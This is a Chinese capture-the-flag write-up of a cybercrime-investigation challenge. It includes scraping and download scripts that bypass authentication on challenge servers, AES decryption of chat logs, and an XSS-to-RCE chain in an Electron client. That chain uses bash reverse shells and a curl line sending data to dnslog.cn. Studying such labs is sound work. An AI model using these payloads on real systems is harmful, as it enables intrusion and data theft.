本期发布的是来自N0$@lt战队,笔名为【开心的胖子】投递的复盘稿件,他至今已经参与了三期斟茶王者,且每一期都取得了优异的成绩,他针对15题讲解了详细的操作步骤,解题过程中使用Tanggo实现接口抓包改包,尤其适合跟随实操。
写在前言
自从无糖巅峰挑战赛诞生以来,每年都参加,每年都有收获。今年推出了战队模式,邀请志同道合的朋友一起交流提高,多了许多乐趣,学习路上不再孤单。历时三天艰难通关,总结战队里各个解法,写下今年的WP。
衷心感谢童永鳌先生(二哥)、钟sir(Rayankun)、M先生、小康(shiwenkang)和我全体队员的帮助指导!
战队成员
赛事题目
1、资金初探
分析收取受害人资金的一级卡转账记录,统计其下级卡中接收受害人资金最多的账户
1、案情报告里给了转账银行和账户
2、通过模拟调证平台调回数据
3、根据转账金额和时间分析资金流向,分4次转给“赵雨婷”72002元
2、运气爆棚
意外从其中一张银行卡6226*******6978927中找到了线索。(用重明查一下看看,也许有意想不到的收获,请以搜索结果中的涉案群组ID作为答案)
重明平台的使用
3、黑词大闯关
请启动下方的网站,帮助林风通过入群验证
就是各种黑灰产暗语,答错了重新再来就行,好在问题不多
4、转移阵地
分析这个二维码,以二维码包含的链接末尾路径作为答案
入群之后下载二维码解析
5、躲猫猫
分析这个APP,锁定其API接口地址的获取地址,以获取地址的TOKEN作为答案
解析二维码获得apk下载地址,通过动态抓包或静态分析
6、新的猫
找到新的API请求地址,以地址的末尾路径作为答案
将上题获得的api接口地址的日期改为新的,访问获得字符串进行base64解密
7、藏起来的钥匙
解包Telefram APP,找找看有没有新的线索,比如SDK。
静态分析源码
8、拔萝卜
结合模拟调证,向星光推送的运营公司进行调证,以Telefram的开发者联系邮箱作为答案
用上一题的SDK key去调证
9、开门开门
分析新的API请求地址,找到Telefram的后台访问地址并获取登录权限。
利用第六题的方法解密出后台地址,使用上题调证信息里的账号密码登录
10、人真不少
聊天用户中最后登录IP为67.98.23.12的聊天用户数量
解法1:最多支持导出1000条数据,一共25000条数据,写爬虫下载分析
爬虫脚本
import json
import os
import requests
import pandas as pd
def get_data(current):
headers = {
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoidnZnY253bmgiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIxMDI5NzQ1LCJleHAiOjE3MjEwNDE3NDV9.CXpr7G1RWKwgqomLcxIVRdmjYUWsdUfwKN0oHAyJUbg',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
'Pragma': 'no-cache',
'Referer': 'https://scene-6yyj1dc5tzq78px8-teleframadmin-3000.zhigeng09.toolmao.com/chatUsers',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'User-Agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36',
'sec-ch-ua': '"Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"',
'sec-ch-ua-mobile': '?1',
'sec-ch-ua-platform': '"Android"',
}
params = {
'current': current,#'2'
'pageSize': '100',
}
response = requests.get(
'https://scene-6yyj1dc5tzq78px8-teleframadmin-3000.zhigeng09.toolmao.com/api/chater/list',
params=params,
headers=headers,
)
result = response.text;
data = json.loads(result);
return data;
if __name__ == '__main__':
file_path = 'data.csv'
for i in range(250):
result = get_data(i+1);
try:
result1 = result['data']
df = pd.DataFrame(result1)
print(result1)
if not os.path.isfile(file_path):
df.to_csv(file_path, index=False, mode='w', header=True)
else:
df.to_csv(file_path, index=False, mode='a', header=False)
except KeyError:
print("键值data不存在")
解法2:也可以下载还原数据库备份文件(见十一题)后计算
11、数据拖拉机
帮林风找到办法获取聊天消息内容,以聊天消息中的FLAG作为答案
解:备份sql、获取文件下载接口地址、绕过401认证、爬取sql数据、还原数据库、解密聊天记录
1、备份sql
2、使用FindSomeThing浏览器插件获取js文件泄露接口
3、使用tanggo抓改包绕过401访问sql文件
4、使用tanggo(或burp)工具发送修改后的请求包到浏览器下载sql文件
5、或者写脚本爬取数据
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
# 请求的URL和头信息
url = "https://scene-zmvier4eefnm7mib-teleframadmin-3000.zhigeng08.toolmao.com/api/download?filePath=backups/backup-1721097620580.sql"
headers = {
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.9",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoiZGtheWxrZnAiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIxMjc1MDgwLCJleHAiOjE3MjEyODcwODB9.8hcGXcavyZacXVq7eScbwrkfArvfIRi04eAs-UAf1ZI",
"Connection": "close",
"Origin": "https://scene-zmvier4eefnm7mib-teleframadmin-3000.zhigeng08.toolmao.com/",
"Referer": "https://scene-zmvier4eefnm7mib-teleframadmin-3000.zhigeng08.toolmao.com/dev",
"Sec-Ch-Ua": ""Chromium";v="123", "Not:A-Brand";v="8"",
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": ""Windows"",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
}
cookies = {}
data = ""
# 发起GET请求,下载文件内容
response = requests.request("GET", url, headers=headers, verify=False, cookies=cookies, data=data)
# 检查请求是否成功
if response.status_code == 200:
# 将下载的内容保存到本地文件
with open("backup.sql", "wb") as file:
file.write(response.content)
print("文件下载成功并保存为 'backup.sql'")
else:
print(f"文件下载失败,状态码: {response.status_code}")
print(response.text)
6、还原数据库
7、解密聊天内容
-
分析apk源码获取加解密方式和密钥
AI释义获知秘钥及IV生成方式:
public final String encrypt(Context context, String content) {
// 检查 context 和 content 参数是否为 null,如果是,将抛出 NullPointerException
Intrinsics.checkNotNullParameter(context, "context");
Intrinsics.checkNotNullParameter(content, "content");
// 获取加密密钥
String key = getKey(context);
// 取密钥的前16个字符用于生成 SecretKeySpec
String substring = key.substring(0, 16);
Intrinsics.checkNotNullExpressionValue(substring, "substring(...)");
// 将前16个字符转换为字节数组,使用 UTF-8 编码
byte[] bytes = substring.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");
// 取密钥的剩余部分用于生成 IvParameterSpec
String substring2 = key.substring(16, key.length());
Intrinsics.checkNotNullExpressionValue(substring2, "substring(...)");
// 将剩余部分转换为字节数组,使用 UTF-8 编码
byte[] bytes2 = substring2.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");
// 使用剩余字节数组创建初始向量(IV)
IvParameterSpec ivParameterSpec = new IvParameterSpec(bytes2);
// 创建 Cipher 对象,使用 AES 算法,模式为 CBC,填充方式为 PKCS5Padding
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
// 初始化 Cipher 对象,设置为加密模式,传入密钥和 IV
cipher.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(bytes, "AES"), ivParameterSpec);
// 将待加密的内容转换为字节数组,使用 UTF-8 编码
byte[] bytes3 = content.getBytes(Charsets.UTF_8);
Intrinsics.checkNotNullExpressionValue(bytes3, "getBytes(...)");
// 执行加密操作,并将加密后的字节数组进行 Base64 编码
String encodeToString = Base64.getEncoder().encodeToString(cipher.doFinal(bytes3));
Intrinsics.checkNotNullExpressionValue(encodeToString, "encodeToString(...)");
// 返回加密并编码后的字符串
return encodeToString;
}
把秘钥和IV写到一个key里且放在清单文件这里确实不太常见,找了好久,眸然回首就在灯火阑珊处!
-
使用tanggo解密工具解密聊天数据
-
写解密脚本批量解密聊天数据
import mysql.connector
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from base64 import b64decode
# MySQL数据库连接配置
db_config = {
'host': 'localhost',
'user': 'root',
'password': 'root',
'database': 'telefram'
}
# AES解密配置
key = 'G7YQ1BWBU0RV018S'.encode('utf-8')
iv = 'QTLNDWGER2P8IRG7'.encode('utf-8')
# 连接到MySQL数据库
conn = mysql.connector.connect(**db_config)
cursor = conn.cursor()
# 查询message字段内容
query = "SELECT message FROM message"
cursor.execute(query)
# 获取所有加密的消息
encrypted_messages = cursor.fetchall()
# 解密函数
def decrypt_message(encrypted_message):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_message = unpad(cipher.decrypt(b64decode(encrypted_message)), AES.block_size)
return decrypted_message.decode('utf-8')
# 解密并打印所有消息
for encrypted_message in encrypted_messages:
decrypted_message = decrypt_message(encrypted_message[0])
print(decrypted_message)
# 关闭数据库连接
cursor.close()
conn.close()
12、动物乐园
分析该群聊中的各个角色身份,锁定承担财务和洗钱职责的人员的用户名。
根据解密的聊天内容分析财务人员昵称,根据ID获取用户名
13、黑蛇白了
根据最新的群内消息,判断黑蛇死亡地所在市和区的名称
解密最新聊天数据内容获取到一张事发地图片、绕过401下载图片、开源情报百度识图判断地点
1、图片地址
2、使用tanggo(或burp)工具修改图片请求包并发送至浏览器下载图片
3、或者写脚本下载png图片
import requests
# URL和headers保持不变
url = "https://scene-ou0ryo21v3x402ia-teleframadminafter-3000.zhigeng09.toolmao.com/api/download?filePath=uploads/7azgKgaQfto55VWnaR.png"
headers = {
"Accept": "application/json, text/plain, */*",
"Accept-Language": "en-US,en;q=0.9",
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjMsInVzZXJuYW1lIjoiZGtheWxrZnAiLCJhY2Nlc3MiOiJ1c2VyIiwiaWF0IjoxNzIxMDUyNDcyLCJleHAiOjE3MjEwNjQ0NzJ9.OEhAidBOOGOP2GziJ0ZiR5yCXgHn6DalpGdtU8LcG8E",
"Connection": "close",
"Origin": "https://scene-ou0ryo21v3x402ia-teleframadminafter-3000.zhigeng09.toolmao.com",
"Referer": "https://scene-ou0ryo21v3x402ia-teleframadminafter-3000.zhigeng09.toolmao.com/dev",
"Sec-Ch-Ua": ""Chromium";v="123", "Not:A-Brand";v="8"",
"Sec-Ch-Ua-Mobile": "?0",
"Sec-Ch-Ua-Platform": ""Windows"",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
}
# 发送请求并获取响应内容
response = requests.get(url, headers=headers, stream=True)
# 检查响应状态码
if response.status_code == 200:
# 确保使用'wb'参数以二进制格式打开文件
with open('download_image.png', 'wb') as f:
# 写入文件内容
f.write(response.content)
print("Image download successfully")
else:
print("Failed to download image. Status code:", response.status_code)
4、百度识图
14、秘上加谜
分析查找镜像内容中的可能线索。
文件内容查找key文件、黑蛇的密码、图片隐写
1、”2024-7-16dwalletkey.txt”
2、”2024-7-16cusersminiboyAppDataRoamingmaichaLocal Storageleveldb 00047.log”
3、”2024-7-16cusersminiboyDesktop2024-07-19.jpg”binwalk提取隐藏文件
15、悄悄潜入
尝试登录黑蛇的聊天软件,通过静默的方式获取浣熊的聊天客户端权限
通过XSS的方式获取RCE反弹shell
1、分析聊天软件XSS注入点,因黑蛇白了通过聊天窗口发送消息就会被发现,剩下只有修改昵称一处可能得到注入点
2、分析过滤(大部分Java相关语句及XSS出发标签均被过滤,限制200字节)
3、尝试找到可用XSS标签
4、测试XSS有效性(利用无糖浏览器-IP刺探工具)
5、尝试使用去年斟茶王者的payload反弹shell失败,难度升级
<script>
require("child_process").exec('bash -c "/bin/bash -i >&/dev/tcp/公网IP/监听端口 0>&1"');
</script>
PS:先写解法,漏洞挖掘过程附后
6、由于XSS payload编码后超长,使用引入外部js的方法
-
写一个js文件放到VPS服务器(没有服务器,内网穿透也能解,方法附后)
this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash -i >&/dev/tcp/公网IP/监听端口 0>&1"')
-
构造payload
<script src=http://**.**.***.**:8080/15.js></script>
<object data="data:text/html;base64,编码后的调用js文件代码"></object>
-
VPS服务器开启HTTP服务和8008端口监听
-
发送payload反弹shell获取flag
7、内网穿透反弹shell
-
准备内网穿透协议隧道,我用的是:https://natapp.cn/
-
开启TCP隧道并获取端口映射和公网IP(用于监听反弹shell)
-
开启端口监听
-
开启Web隧道并获取URL地址(用于加载js文件)
-
开启Web服务
-
将js文件放置于虚拟机home/kali用户目录
this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash -i >&/dev/tcp/公网IP/公网端口 0>&1"')
-
构造payload
<script src=http://公网URL/16.js></script>
<object data="data:text/html;base64,编码后的js调用"></object>
-
XSS注入
-
查看监听窗口是否反弹成功
15题续:漏洞挖掘、反弹shell命令执行机制分析
1、关于注入点
<script>this.parent.chatClientApi.execCommand(1818,'curl rhjeq4.dnslog.cn -X POST -d "`任意命令`"')</script>
<object data="data:text/html;base64,PHNjcmlwdD50aGlzLnBhcmVudC5jaGF0Q2xpZW50QXBpLmV4ZWNDb21tYW5kKDE4MTgsJ2N1cmwgcmhqZXE0LmRuc2xvZy5jbiAtWCBQT1NUIC1kICJgd2hvYW1pYCInKTwvc2NyaXB0Pgo="></object>
2、关于XSS平台
3、关于反弹shell
-
参考资料摘要
-
代码审计
那么我们是否可以构建payload为如下形式?
window.chatClientApi.execCommand(1818, 'bash -c "/bin/bash -i >&/dev/tcp/公网IP/监听端口 0>&1"');
实践证明是不可行的,服务器虽然GET到了JS文件,但是并没有执行反弹命令!
原因是什么呢?其实我也不懂,有问题找大佬或者问AI!
重新构建的payload
this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash -i >&/dev/tcp/公网IP/监听端口 0>&1"')
要执行的shell命令
this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash -i >&/dev/tcp/公网IP/监听端口 0>&1"')
preload.js预加载脚本注释
// 引入 Node.js 的 child_process 模块,用于在子进程中执行命令
var cp = require("child_process");
// 在全局 window 对象上挂载 chatClientApi 对象
window.chatClientApi = {
// 定义 execCommand 方法,接收两个参数:N 和 cmd
execCommand: function(N, cmd) {
// 根据 N 的值执行不同的逻辑
switch(N) {
case 1818:
// 当 N 为 1818 时,使用 cp.exec 执行传入的命令字符串 cmd
cp.exec(cmd);
break;
case 1919:
// 当 N 为 1919 时,在控制台输出 "hello"
console.log("hello");
break;
default:
// 其他情况下,在控制台输出 "execCommand N ok"
console.log("execCommand " + N + " ok");
}
}
}
// 监听 DOMContentLoaded 事件,当 DOM 完全加载后执行回调函数
window.addEventListener('DOMContentLoaded', () => {
// 定义 replaceText 函数,用于替换指定元素的文本内容
const replaceText = (selector, text) => {
const element = document.getElementById(selector)
if (element) element.innerText = text
}
// 遍历 ['chrome', 'node', 'electron'],将每个依赖的版本号替换到相应的元素中
for (const dependency of ['chrome', 'node', 'electron']) {
replaceText(`${dependency}-version`, process.versions[dependency])
}
})
运行机制和原理
本例Electron框架调用执行的代码
this.parent.chatClientApi.execCommand(1818, 'bash -c "/bin/bash -i >&/dev/tcp/公网IP/公网端口 0>&1"');
在渲染进程中,通过 this.parent 访问到 window 对象,进而调用 chatClientApi.execCommand 方法。传入的N为1818,因此会执行 cp.exec(cmd),即执行传入的命令字符串。命令字符串是一个 Bash 命令,试图建立一个反向 Shell 连接到指定的公网 IP 和端口。
16、谁是凶手
所有的案件信息都已提供,请找到本案中的所有嫌疑人的身份证号码作为答案
翻查文件
1、浣熊服务器/home/boss目录下的sfz.png文件,base64编码取回
2、case.docx文件内(百思不解报案人为啥是嫌疑人)
3、juanzong.docx文件内
通关存照
点击下载
原文始发于微信公众号(无糖反网络犯罪研究中心):复盘第一期 | 超详细的15题解题思路,立即上手实操-开心的胖子